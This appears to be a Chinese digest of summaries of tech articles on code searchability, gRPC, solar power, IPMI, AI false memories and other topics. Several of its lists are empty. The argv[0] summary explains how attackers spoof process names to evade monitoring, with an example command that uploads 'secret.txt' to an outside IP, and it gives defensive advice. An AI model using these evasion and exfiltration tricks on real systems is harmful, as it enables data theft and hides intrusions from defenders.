1. Is My Blue Your Blue? (ismy.blue)
这篇文章介绍了一个名为“Is My Blue Your Blue?”的互动测试,旨在帮助用户测试并了解自身对颜色的感知差异。测试设计用于探索不同个体在识别或体验同一颜色(如蓝色)时可能存在的区别。
39 篇热帖
这篇文章介绍了一个名为“Is My Blue Your Blue?”的互动测试,旨在帮助用户测试并了解自身对颜色的感知差异。测试设计用于探索不同个体在识别或体验同一颜色(如蓝色)时可能存在的区别。
代码可搜索性是一个被低估的代码指标
在维护不熟悉的代码库时,经常需要使用grep搜索字符串,如函数名、错误消息或类名。如果无法找到所需内容,可能导致挫败感或危险情况(例如误认为某些代码不再需要)。为此,作者提出了三条保持代码库可搜索性的规则:
不要拆分标识符:避免动态构造标识符(如表名、列名、方法名)。例如,从地址类型动态构造表名(如shipping_addresses)虽然符合DRY原则,但会使搜索时遗漏相关代码。建议使用显式定义来提高可搜索性,例如通过条件语句直接返回完整表名。
在整个堆栈中使用相同的名称:避免在应用边界处重命名字段以适应命名约定。例如,将PostgreSQL的snake_case标识符(如street_name)转换为JavaScript的camelCase(如streetName)会导致需要搜索两个字符串。建议直接返回原始对象以保持一致性,减少搜索复杂度。
扁平比嵌套更好:在文件夹结构和对象结构中,扁平化优于嵌套。例如,使用扁平化的翻译键(如"auth.login.title")而不是嵌套JSON结构,可以更容易搜索和引用。同样,扁平的React组件文件结构(如AttributeFilterCombobox.tsx)比深层嵌套(如./components/attribute/filter/Combobox.tsx)更易于通过完整名称进行搜索。
这些规则旨在提升代码的可维护性,减少搜索时的困惑和潜在错误,从而增强整体代码质量。
研究人员发现英飞凌安全微控制器密码库中存在一个侧信道漏洞,该漏洞已存在14年且未被发现,通过了约80次最高级别的通用标准认证评估。漏洞源于椭圆曲线数字签名算法(ECDSA)中模逆运算的非恒定时间实现。
本文探讨了开发者在个人项目中常遇到的“九头蛇项目效应”——即在推进项目时,解决一个问题往往会引发更多新挑战,导致项目陷入无尽的半成品状态。文章深入分析了这种现象的成因、代价,并提出了实用的解决策略。
开发者难以完成项目的原因主要包括:
长期搁置项目会带来严重的负面影响:
为了打破无法交付的循环,作者提出了以下七项策略:
改变半途而废的习惯需要时间和持续的努力。学会完成项目不仅是为了交付代码,更是开发者实现自我成长、提升专业技能并最终获得成就感的必经之路。
史蒂夫·鲍尔默曾提出一个微软面试谜题:他心中想一个1到100之间的数字,面试者每次猜测后,他会告知猜高了还是猜低了。根据猜中所需的猜测次数,面试者会获得或支付不同金额:第一次猜中得5美元,第二次得4美元,第三次得3美元,第四次得2美元,第五次得1美元,第六次得0美元,第七次则需支付1美元,以此类推。问题在于:面试者是否应接受这个游戏?
鲍尔默认为答案是否定的,理由有二:首先,他可以选择让二分查找策略最困难的数字;其次,假设他随机选择数字,游戏的预期收益为负(即玩家最终需付钱)。文章通过计算指出,在随机选择的前提下,鲍尔默关于预期收益为负的观点是错误的。实际预期收益为正值0.20美元。
文章分析了基于二分查找策略的结果:
文章通过Perl代码模拟计算,得出在1-100范围内,使用二分查找策略,假设数字随机选择,总预期收益为0.20美元。计算方式是基于各猜测次数的概率分布:第一次猜中概率1/100得5美元,第二次概率2/100得4美元,第三次概率4/100得3美元,第四次概率8/100得2美元,第五次概率16/100得1美元,第六次概率32/100得0美元,剩余37种情况概率37/100需支付1美元。
文章推测鲍尔默可能误述了游戏规则:如果他将第六次猜中的奖励改为支付1美元(而非得0美元),那么预期收益将变为-0.49美元,这与其声称的负收益相符。视频演示中,鲍尔默选择了数字59,使用二分查找策略可在第五步猜中(获得1美元),而实际采访中记者使用了近似策略但步骤稍多。
本文介绍了作者尝试利用OpenAI GPT-4o模型的新“结构化输出”功能,开发一个AI辅助网页抓取工具的过程、发现和局限性。
直接提取数据:作者使用Pydantic模型定义数据结构,通过系统提示让GPT-4o从HTML字符串中提取表格数据。
让GPT-4o生成XPath:为了减少昂贵的API调用次数(实现一次提取、多次复用),作者尝试让模型直接返回用于抓取特定列数据的XPath。但效果不佳,模型有时会返回无效或不准确的XPath。
混合方法:将两种方法结合效果最佳——先用模型提取一次数据作为参考,再基于此让模型为每列生成XPath。并加入了简单的重试逻辑以处理XPath返回空数据的情况。但存在新问题:模型有时会将图像转换为描述性文本(如“向上箭头”),导致后续基于文本的XPath查找失败。
class, id, data-testid),成功将字符数减半且未观察到质量下降。总的来说,本文展示了GPT-4o在结构化数据提取方面的强大能力,同时也清晰地指出了其在实际应用中,特别是成本方面的显著挑战。
argv[0] 是进程命令行参数中的第一个参数,传统上被用于表示程序自身的名称。shutdown 和 reboot 实际上是指向 systemctl 的同一程序。argv[0] 的值,且大多数程序和监控系统并不验证其真实性。尽管多数程序不依赖 argv[0],但它在安全层面引入了三个主要威胁:
攻击者可以操纵 argv[0] 来欺骗依赖于命令行字符串匹配的安全软件。
certutil 下载文件时,若将 argv[0] 设置为空格,可以绕过其检测逻辑。检测规则若假设程序名是命令行的一部分,就可能失效。process_path.endswith('certutil.exe')),而非单纯的字符串匹配。安全分析师在审查警报时,命令行是关键信息。修改 argv[0] 可以改变命令行的视觉表现,从而误导人类。
curl -T secret.txt 123.45.67.89 的 argv[0] 改为 curl localhost | grep,命令行在监控工具中会显示为 curl localhost | grep -T secret.txt 123.45.67.89,给人造成从本地下载的错觉,而实际上是在向外网上传文件。通过用大量字符填充 argv[0],可以制造超长命令行,利用监控软件的截断机制来隐藏真实的恶意参数。
argv[0] 是一个为兼容历史而遗留的设计,但在现代安全环境中成为了显著的风险源。由于其不会被很快淘汰,各方需采取措施:
argv[0]。应依赖操作系统提供的其他元数据(如进程路径)。argv[0] 进行程序识别,使用更可靠的进程元数据。argv[0]:自动检测过长、包含特殊字符(如管道符 |、RLO 字符)或与进程路径不符的 argv[0]。argv[0]:在报告命令行时,完全排除 argv[0],仅呈现真正的参数,可以根治本文描述的大部分问题。argv[0] 的可操纵性,在分析警报时对命令行的真实性保持警惕,尤其是当其看起来不合逻辑或包含异常字符时。Landsat 是由 NASA 和美国地质调查局(USGS)共同管理的地球观测卫星系列。自 1972 年以来,该系列卫星持续获取地球陆地表面图像,为土地管理者、规划者和决策者提供不间断的数据档案,支持更明智的自然资源和环境决策。Landsat 的免费公开数据仅在 2023 年就为美国经济贡献了约 256 亿美元的价值。
Landsat 是全球决策的关键工具,在多个领域带来显著的经济和环境效益:
Landsat 被视为中分辨率卫星数据的“黄金标准”,主要基于:
Landsat 是科学发现的强大引擎。自 2008 年数据免费开放以来,引用 Landsat 数据的出版物数量稳步增加,并成为国家土地覆盖数据库(NLCD)、OpenET 等广泛使用产品的基础。数据被用于监测大尺度过程、训练机器学习算法以检测地表变化,甚至发现了此前未标记的岛屿。
项目涉及众多科学家和专家,如项目科学家、校准专家和多光谱扫描仪发明者等。相关资源包括《土地遥感政策法》(1992 年)、Landsat 数据分发政策(2008 年)等技术文件和报告,进一步支持了项目的开放数据政策和持续运营。
核心事件:微软近期澄清,Windows 11中备受争议的“Recall”功能无法被用户卸载。此前有报道称Windows 11 24H2更新允许完全卸载该功能,但微软向The Verge证实,控制面板中出现的卸载选项仅是一个系统错误(Bug),将在后续更新中修复。
功能概述:
主要争议与安全担忧:
微软的应对措施:
Chromatone项目概述 Chromatone是一个开源的研究与设计项目,旨在探索、开发并实践一种科学的视觉音乐教育、交流与表演方式。其核心理念是通过建立音符与颜色之间的标准化对应关系,利用人类主要的感官通道——视觉,来增强音乐的感知能力,尤其适应现代屏幕时代的需求。
视觉音乐语言体系 该项目提出了“视觉音乐语言”的概念,构建了12个音符与12种颜色相对应的完整、连贯的体系。该语言通过将音乐元素(如音高、节奏、音程、和弦、音阶)与视觉元素(如颜色、形状、渐变、调色板)进行系统融合,并不断演化,为新一代的视觉音乐探索者铺平道路。
学习资源与实践工具 Chromatone提供了丰富的学习与实践资源:
项目仍处于持续发展之中,欢迎提出问题或分享想法。
《Wizardry》联合创始人安德鲁·格林伯格(Andrew Greenberg)已去世。他与罗伯特·伍德黑德(Robert Woodhead)共同创作了开创性角色扮演游戏《Wizardry》。该游戏于1981年发行,是最早的个人电脑RPG之一,对此后该类型的发展产生了深远影响。它在日本市场也取得了巨大成功,并至今仍在该地区推出新作。近期,Digital Eclipse还为现代平台重制了初代作品。
格林伯格的名字曾用于游戏第一作中的反派角色“Werdna”(Andrew的倒拼)。他后来转型为专利律师,并担任一家可再生能源公司的总法律顾问。文章对格林伯格的家人与朋友表示了哀悼。
游戏名称:Zero Zero: Perfect Stop
平台:Playdate
开发商:Hunter Bridges
类型:赛车、动作、火车模拟游戏
核心玩法: 这是一款火车驾驶模拟游戏,玩家使用 Playdate 的曲柄来控制火车的油门和刹车,挑战在正确的时间和地点停靠站台,同时严格遵守时刻表。
游戏模式:
游戏特色:
额外资源: 游戏官网提供了玩家指南和原声音乐等信息。
IPMI(智能平台管理接口)是一套标准化规范,而非具体产品实现。它定义了服务器带外管理的功能,允许管理员在操作系统未运行甚至服务器关机的情况下,通过独立硬件进行远程监控和管理。现代服务器中,IPMI通常由基板管理控制器(BMC)——一个独立的微型计算机系统——来实现。
ipmitool等工具与BMC通信。IPMI是企业级服务器标准化远程管理的基石,通过独立的硬件和软件栈实现了强大的带外控制能力。尽管其具体实现多样且存在安全风险,但它仍是数据中心运维不可或缺的工具。而消费级设备中的类似引擎(如Intel ME)则主要服务于底层安全,并未广泛用于远程管理。
这篇文章是关于API元素的持续性工作进展介绍。作者认为目前的内容值得分享,并邀请读者审阅后提供反馈意见。
鲑鱼与森林的共生:
微小生物的关键作用:
伐木活动的负面影响:
本文介绍了CALM定理,该定理回答了分布式系统中何时需要协调以维持一致性的问题。CALM是“consistency as logical monotonicity”(一致性即逻辑单调性)的缩写,其核心观点是:那些能够无需协调(coordination-free)便能在分布式环境中实现一致性的程序,恰恰是那些可以用单调逻辑表达的程序。
该理论具有重要的实践意义,为分布式应用开发者提供了指导。文章将CALM与传统的CAP定理等“系统智慧”进行了对比,展示其作为一种建设性的应用层面补充。此外,文章探讨了单调性思维如何影响分布式系统设计,以及新的编程语言设计和工具如何帮助开发者编写无需协调的一致性代码。
Apache Zeppelin 是一个多用途的交互式笔记本,旨在满足数据工作的全栈需求,涵盖数据摄入、数据探索、数据分析和数据可视化与协作。
Zeppelin 的核心是其解释器概念,允许将任何语言或数据处理后端接入系统。目前原生支持多种解释器,包括 Apache Spark、Apache Flink、Python、R、JDBC、Markdown 和 Shell。用户也可以相对简单地创建新的解释器以支持更多语言。
Zeppelin 提供了对 Apache Spark 的内置深度集成,无需额外构建模块或插件。其主要特性包括:
SparkContext 和 SQLContext。Zeppelin 内置了基础图表功能。可视化不限于 SparkSQL 的查询结果,任何语言后端产生的输出都可以被识别并可视化。它支持通过简单的拖放操作创建数据透视表,并能够轻松聚合(如求和、计数、平均值、最小值、最大值)多个数值进行展示。
Zeppelin 可以在笔记本中动态创建输入表单,这使得用户能够通过简单的交互来参数化他们的代码和查询,增强了笔记本的交互性和可重用性。
Zeppelin 支持通过共享笔记本 URL 进行实时协作,所有协作者的更改都会像 Google Docs 一样实时广播。此外,系统还提供了一个独立的结果展示 URL,该页面不包含笔记本的菜单和按钮,可以方便地将结果嵌入为 iframe 到其他网站中。
Apache Zeppelin 是采用 Apache2 许可证的开源软件。它拥有活跃的开发社区,用户可以通过其源代码仓库参与贡献,并通过邮件列表和 Jira 问题跟踪器进行交流和报告问题。
核心事件:
人物背景:
逮捕与审判:
辩护与后续:
社会背景:
三名英国男子因运营一次性验证码拦截服务 OTP Agency 认罪。该服务于 2019 年 11 月推出,旨在帮助攻击者获取双重认证所需的一次性密码(OTP)。
该服务的运作方式为:诈骗者在已窃取目标银行账户凭证后,输入受害者的电话号码和姓名,系统将自动拨打恐吓电话,警告账户存在未授权活动,并诱骗受害者输入短信接收的一次性验证码。获得的验证码随后会转发至诈骗者的控制面板。
英国国家犯罪局(NCA)于 2023 年 8 月 30 日声明,认罪的三人分别是:22 岁的 Callum Picari(服务所有者、开发者及主要受益人)、21 岁的 Vijayasidhurshan Vijayanathan 和 19 岁的 Aza Siddeeque。
调查始于 2020 年 6 月,此前服务所有者的身份信息已遭泄露。2021 年 2 月,一篇报道提及该服务后,运营者之间恐慌性对话显示他们意识到面临风险并试图删除证据。尽管最初宣称关闭服务,但几天后他们便重启服务并试图安抚用户,直至一个月后三人被捕时服务才真正下线。
NCA 称,该服务在 18 个月的运营期间,共针对超过 12,500 人实施了攻击。虽然 OTP Agency 已被取缔,但文中指出类似拦截服务(如 SMSRanger)仍在运作。
文章最后提醒公众:警惕任何以银行名义来电并索要个人信息的行为,应直接挂断,并通过银行官方网站或卡片背面的官方电话号码主动联系核实。
一项十年前旨在遏制Medicare Advantage健康保险计划向政府过度收费数十亿美元的联邦计划,在行业激烈反对后被突然搁置,最新公开的法庭文件揭示了这一内幕。
美国医疗保险和医疗补助服务中心(CMS)于2014年1月发布了一项法规草案。该规定本将要求健康计划在审查患者病历时,识别出CMS的多收费用并退还给政府。
然而在2014年5月,CMS在没有任何公开解释的情况下撤回了该提案。新公布的法庭证词显示,该机构官员多次提及行业施加的巨大压力和反对声浪是主要原因。当时CMS的医保计划支付部门主管Cheri Rice作证说,他们收到的指示是,最终法规只应包含获得广泛利益相关方支持的条款。
这一决定及其相关事件,是司法部针对UnitedHealth Group提起的一项价值数十亿美元的民事欺诈诉讼的核心。该案正在洛杉矶联邦法院审理。司法部指控这家大型健康保险集团通过审查患者病历以寻找额外诊断代码来增加收入,同时却忽略了可能减少账单的多收费用,从而骗取了Medicare超过20亿美元。司法部在法庭文件中称,该公司“把头埋在沙子里,除了留住钱什么也没做”。
Medicare为病情更严重的患者支付更高的费率,但要求保险计划仅对病历中有正式记录的疾病状况进行计费。
UnitedHealth Group在法庭文件中否认有不当行为,并辩称其不应因“未能遵守CMS十年前考虑过但决定不予采纳的规则”而受到惩罚。
根据法庭文件,Medicare Advantage计划近年来爆炸式增长,目前覆盖了约3300万人,超过Medicare合格人群的一半。在此过程中,该行业一直是数十起举报人诉讼、政府审计和其他调查的目标,这些调查指控健康计划常常夸大患者的病情以攫取不应得的Medicare付款,包括进行所谓的“病历审查”,旨在找出据称被遗漏的诊断代码。
司法部指控UnitedHealth Group从2009年到2016年,仅基于病历审查就从Medicare获得了超过72亿美元的付款;政府称,如果删除了没有支持的计费代码,该公司本应少收21亿美元。
双方争议的焦点之一是2014年4月29日一次由时任CMS管理员Marilyn Tavenner安排的视频会议。UnitedHealth的两位高管在证词中称,CMS工作人员当时告诉他们,公司在当时没有义务去发现错误的代码。然而,包括Rice在内的CMS工作人员则表示,他们记得当时提醒了这些高管,即使没有病历审查规则,公司也有义务善意地努力只为经核实的代码计费,否则可能面临《虚假申报法》下的处罚。司法部将围绕这项流产法规的争执称为“红鲱鱼”,并指出UnitedHealth在要求举行会议时,已经知道其病历审查已被调查了两年。
针对此类病历审查的批评认为,它们只是人为地增加了政府成本。保险行业团体AHIP则辩护称,病历审查是Medicare Advantage计划用来支持患者、识别慢性病并防止其恶化的一种工具。
自2014年以来,其他保险公司也已就司法部关于其基于病历审查为未确诊状况向Medicare计费的指控达成和解。卫生与公众服务部监察长的一份报告指出,2017年,99%的病历审查添加了新的医学诊断,估计当年给Medicare带来了67亿美元的成本。
Afrim 是一个旨在保护非洲当地方言的输入法,是一个基于语音的通用输入法平台。
Afrim 最初作为 Clafrica IME 的重写版本开发,名为 Clafrica。之后,团队创建了一个输入法库,并借鉴 RIME 进行了改进,支持阿姆哈拉语、吉兹语等非洲语音输入法,并更名为 Afrim Input Method Engine(Afrim 输入法引擎)。其灵感来源于 librime,目标不仅是成为输入法,更是成为实现任何目标语言输入法的工具/库。
构建依赖项(仅限 Linux):libxtst-dev、libevdev-dev、libxdo-dev。
运行时依赖项(仅限 Linux):libxtst-dev、libevdev-dev、libxdo-dev。
支持的键盘布局:QWERTY(美式)、FRENCH(非 AZERTY)。
可通过 Cargo 安装:cargo install afrim。程序附带一个 REPL 应用,可用于测试库是否正常工作,使用方式为提供配置文件的路径(例如:afrim configfile.toml)。
afrim-wish:桌面环境前端。afrim-web:网页环境前端。afrim-keyboard:安卓环境前端。所有代码均以 Mozilla Public License v2.0 发布。
欢迎 fork 仓库并提交拉取请求。
项目欢迎用户点赞、分享以及捐赠支持。
本文是作者为分布式系统新人整理的实战经验总结,旨在弥补理论学习与生产实践之间的鸿沟。核心观点认为,分布式系统与单机系统的根本区别在于失败概率,特别是部分失败的概率,而非常见的误解“延迟”。以下为关键要点:
作者最后指出,本文主要关注技术问题,但社交与协调问题在分布式系统开发中往往更为棘手。整篇笔记为新工程师提供了从理论到实践、从技术到心态的宝贵指导。
本文探讨了扩散模型与自回归模型的深层联系,提出核心观点:图像扩散模型本质上是在频域中执行近似的自回归。
自回归和扩散模型均通过分解复杂生成任务来进行迭代细化。在图像生成中,扩散模型表现出“从粗到细”的特征。通过傅里叶变换分析发现,自然图像的径向平均功率谱密度遵循幂律分布:低频(粗略结构)能量高,高频(细节)能量低。
高斯噪声的频谱在所有频率上功率均等。将噪声加入图像时,低频由图像信号主导,高频由噪声主导。随着噪声方差增加,噪声逐渐“淹没”更多高频信号。 因此,扩散模型的加噪过程实际上是逐渐滤除高频信息的低通滤波过程;去噪过程则是根据已有的低频成分,逐步预测更高频率成分。这构成了频域中的近似自回归。通过设定信噪比阈值,可定量建立噪声水平与最大可检测频率间的单调映射。
原始音频波形的频谱不遵循幂律分布,也不单调递减,故该理论不直接适用。然而,当音频转换为梅尔频谱图并作为图像处理时,其频谱重新呈现幂律特征。这表明在频谱图上应用扩散模型本质上是一种“倒谱自回归”。
扩散损失在所有噪声水平上的加权平均,隐式实现了对图像空间频率的加权,起到感知损失的作用,解释了其在视觉领域的成功。因语言数据缺乏此频率分解特性,语言建模仍以自回归为主。 当前“语言用自回归,其他用扩散”的格局是一种“不稳定的平衡”。未来多模态模型的发展可能需要统一这两种范式:要么全模态采用自回归并借鉴扩散思想,要么构建涵盖语言的多模态扩散模型。尽管直接在频域进行精确自回归是种替代方案,但扩散模型在采样步数调整、模型蒸馏和无分类器引导等方面具备自回归难以比拟的灵活性,使其核心优势得以保留。
一家名为 Cox Media Group(CMG) 的数字营销公司被揭露开发并推广名为 “主动监听”(Active Listening) 的技术,声称可通过智能手机的麦克风收集用户语音数据,并利用AI进行分析,用于向Facebook、Google、Amazon等平台投放定向广告。
该事件揭示了数字广告行业中可能存在的隐蔽数据收集行为,以及用户隐私保护面临的挑战。尽管大型科技公司已对CMG采取措施,但此类“主动监听”技术的合法性和伦理问题仍需进一步关注。
《人格杂志》新研究表明,长期失业与个人控制感丧失及心理社会脱离显著相关。控制感是人类基本需求,当其无法满足时可能引发严重心理后果。本研究由Wiktor Soral等人主导,旨在通过长期失业这一现实情境,探讨控制感丧失的真实影响。
研究以1055名波兰参与者为样本,其中748人失业(按失业时长分为短期0-3个月、中期4-12个月、长期超过12个月),307人在职作为对照组。参与者完成了一系列测量,包括幸福感、自尊、控制感(个人、政治、宿命论)、情绪、压力应对策略及社会态度等,并分两次完成问卷(最终纳入854人)。
主要发现:
研究局限性在于采用横断面设计,无法确定因果关系。
本研究揭示了长期失业如何通过侵蚀控制感,导致个体在情绪、行为及社会参与层面的系统性脱离,并凸显了失业作为压力源对心理健康和社会整合的深远影响。
现有语言模型处理结构化知识图谱时存在两种主流方法的局限:一种是线性化图结构后输入语言模型,这会损失图的结构信息;另一种是使用图神经网络保留结构,但无法充分利用预训练语言模型对文本特征的表示能力。为此,本文提出一种新型的图语言模型,通过将预训练语言模型的参数用于初始化以理解图中的概念与关系三元组,同时在架构中引入图的结构偏置,以促进图内知识的有效传播。该模型能够统一处理图、文本及混合输入。实验表明,在关系分类任务的监督和零样本设置中,该模型的嵌入性能均优于基于语言模型和图神经网络的基线方法,体现了其通用性。
gRPC 虽在微服务领域功效卓著,但存在诸多不完美之处。本文基于实践经验,剖析其主要缺陷。
vtprotobuf 可生成类型特定的序列化函数,在几乎不改动代码的情况下将性能提升 2-4%。此类优化本应由标准编译器提供(可通过 optimize_for = SPEED 选项启用)。net/http,使得与其他 HTTP API 共用及中间件复用困难。虽后续添加了实验性的 ServeHTTP() 接口,但性能损失严重。FOO_BAR_ 前缀)源于 C++ 作用域规则,却强制影响所有目标语言,设计不够直观。required 字段:因实践中“必填”字段常变为可选,proto3 版本完全移除了 required 关键字。(buf.validate.field).required = true)在代码层面强制验证,兼具灵活性与可靠性。Grpc.Tools 那样深度集成到语言工具链中的方案。Buffrs 等新兴开源项目试图解决此问题。protoc-gen-doc)视觉效果和功能性远不如 OpenAPI 生态。作者通过生成 OpenAPI 规范再使用前端工具展示来解决此问题。gRPC 工具链也缺少像 OpenAPI 那样的在线接口测试功能。gRPC 在代码生成、依赖管理、工具链成熟度及向前后端融合等方面仍有明显不足。然而,其未来依然可期。社区正在积极开发工具(如 Buf CLI、protovalidate、protoc-gen-connect-openapi)来弥补差距。随着 gRPC 生态持续演进,工具有望改善,编辑器支持将加强,与前端世界的集成也将更加顺畅。
QWERTY-Flip通过交换标准QWERTY布局中顶部行与中间行的按键(当顶行按键的使用频率高于中间行对应位置时),将英语中最高频的10个字母(ETAOINSRHL) 中的绝大多数集中到打字时手指最自然放置的主行上。这一设计在提升输入效率的同时,最大限度地保留了QWERTY布局的肌肉记忆。
为满足部分用户将剩余两个高频字母也移至主行的需求,作者还设计了两个变体布局:
太阳能电池板成本正急速下降,将导致廉价电力涌入电网,但这仅仅是第一幕。我们不仅不会在电网接入极限处停止建设太阳能,反而会建造更多。本文将解释我们为何会持续建设,以及如何处理多余电力。
太阳能电池板是将免费阳光转化为电力的魔法。作为一种无需活动部件的发电方式,它比其他能源更易于大规模制造。其生产类似于制造扁平硅基石(如半导体、玻璃),因此拥有极高的学习率——产量越大,成本越低。这导致太阳能部署以惊人速度增长:全球大部分太阳能发电装置是在过去30个月内安装的,仅中国2023年的新增装机量就超过美国历史总和。预计未来五年太阳能成本还将减半。
随着太阳能接入增多,电网接入将愈发困难,主要原因有二:
太阳能自我蚕食:所有太阳能电池板都在白天同时发电。大量接入会拉低阳光时段的电价,因为供给激增。最终,新增太阳能的边际收益会降低,甚至出现负电价(消费者用电反被付费,但发电商盈利困难)。这创造了将需求转移到可再生能源丰富时段的强大激励,例如电动汽车和电加热等灵活需求,这是当前整合可再生能源的首要任务。
电网容量限制:将新发电项目接入电网本身就很耗时。在英国,平均等待电网连接的时间超过5年,40%以上的排队项目连接日期在2030年之后。在美国,电网连接队列规模过去十年增长了7倍以上,其中95%是太阳能、风能和电池项目,排队容量已是现有全部发电厂装机容量的两倍多。
太阳能虽会饱和电网,但我们不会停止建设,而是转向离网应用。主要有两种方式:
白天免费电力、随后几小时电价高企,这对锂离子电池是理想场景。太阳能装机越多,电池部署也将激增。然而,由于电网容量有限,无法将所有太阳能电力通过高压输电系统充入电池。因此,太阳能与储能必须实现本地化协同,例如:公用事业太阳能与储能共址、家庭为自家太阳能配储、在现有太阳能发电设施旁新建电池。尽管部分电力仍会流经本地配电网,但依赖新建输电线路吸收全部未来太阳能产能是不切实际的——输电线路建设昂贵且缓慢,而电池部署廉价且迅速。
更颠覆性的思路是顺应阳光节律,仅在日照期间使用能量。虽然这将利用率降至约25%,但无需配置电池,使得电力成本达到全球最低水平。间歇性太阳能如此廉价,足以改变一次能源供应格局,不仅能直接供电,更能通过操纵原子生产燃料:
这些合成燃料(如可持续航空燃料)都依赖绿氢作为基础原料。目前,生产绿氢成本极高,唯一具备成本竞争力的方式便是使用离网太阳能。同样,任何能优化为25%利用率、可承受间歇性运行的过程都将迎来机遇,例如直接空气捕获、工业加热、电化学工艺等。
离网应用还带来额外成本优势:若直接为直流应用供电,可省略逆变为交流电的效率损失;去除大部分平衡系统、电力电子设备和电网接入手续,能实现更快、更廉价的部署。
“能否构建仅使用四分之一时间免费能源的工艺”是能源未来最重要且未被充分探索的问题之一。传统化学工程思维优化的是昂贵输入、连续输出和高效率。然而,针对低利用率、免费能源的设计空间正待开拓。尽管这具有挑战性(因为利用率低会严重影响资本密集型工艺的回报周期),但我们尚未真正尝试。一个不争的事实是:很少有人为间歇性太阳能优化,而间歇性太阳能将改变世界。
本文呈现了三项关联研究,探讨人工智能技术如何诱导并放大人类的虚假记忆。研究涵盖多种AI交互模式:对话式AI接口、AI视觉媒体编辑以及聊天机器人交互中的隐蔽错误信息注入。
研究一:对话式AI在目击者访谈中的效应
研究二:AI编辑视觉媒体对记忆的扭曲
研究三:聊天机器人对话中隐蔽注入错误信息
这三项研究揭示了一个一致模式:无论是通过诱导性提问、视觉操纵还是对话误导,AI系统都具有塑造和扭曲人类记忆的前所未有能力。 研究强调,在法律程序、治疗情境和日常信息消费等敏感领域整合AI时,必须审慎考虑这些记忆操纵风险。
Conversational AI Powered by Large Language Models Amplifies False Memories in Witness Interviews
Synthetic Human Memories: AI-Edited Images and Videos Can Implant False Memories and Distort Recollection
Slip Through the Chat: Subtle Injection of False Information in LLM Chatbot Conversations Increases False Memory Formation
项目概述 PlasCAD 是一款开源、轻量且高性能的质粒(载体)与引物设计、验证软件。它支持质粒编辑、基于 PCR 的克隆、DNA 片段酶切,并能展示表达蛋白的详细信息,同时集成了 NCBI 和 PDB 等在线生物数据库资源。
核心功能
文件兼容性与存储
支持读写 FASTA、GenBank 和 SnapGene (.dna) 格式,以及只读 AB1(Sanger 测序)文件。其原生 .pcad 二进制格式采用 2-bit 核苷酸编码,文件体积比常规格式小 4 到 10 倍。
设计理念与性能 PlasCAD 将性能置于首位,具有程序体积小、内存和 CPU 占用低、启动和响应迅速的特点,旨在为科研人员提供快速、易用且功能完备的工具。
近期开发计划 未来计划增加质粒毒性/疏水性/聚集区质量控制、引物上下文检查、二级结构(如发夹结构)识别、重叠特征显示优化以及基因自动注释系统等功能。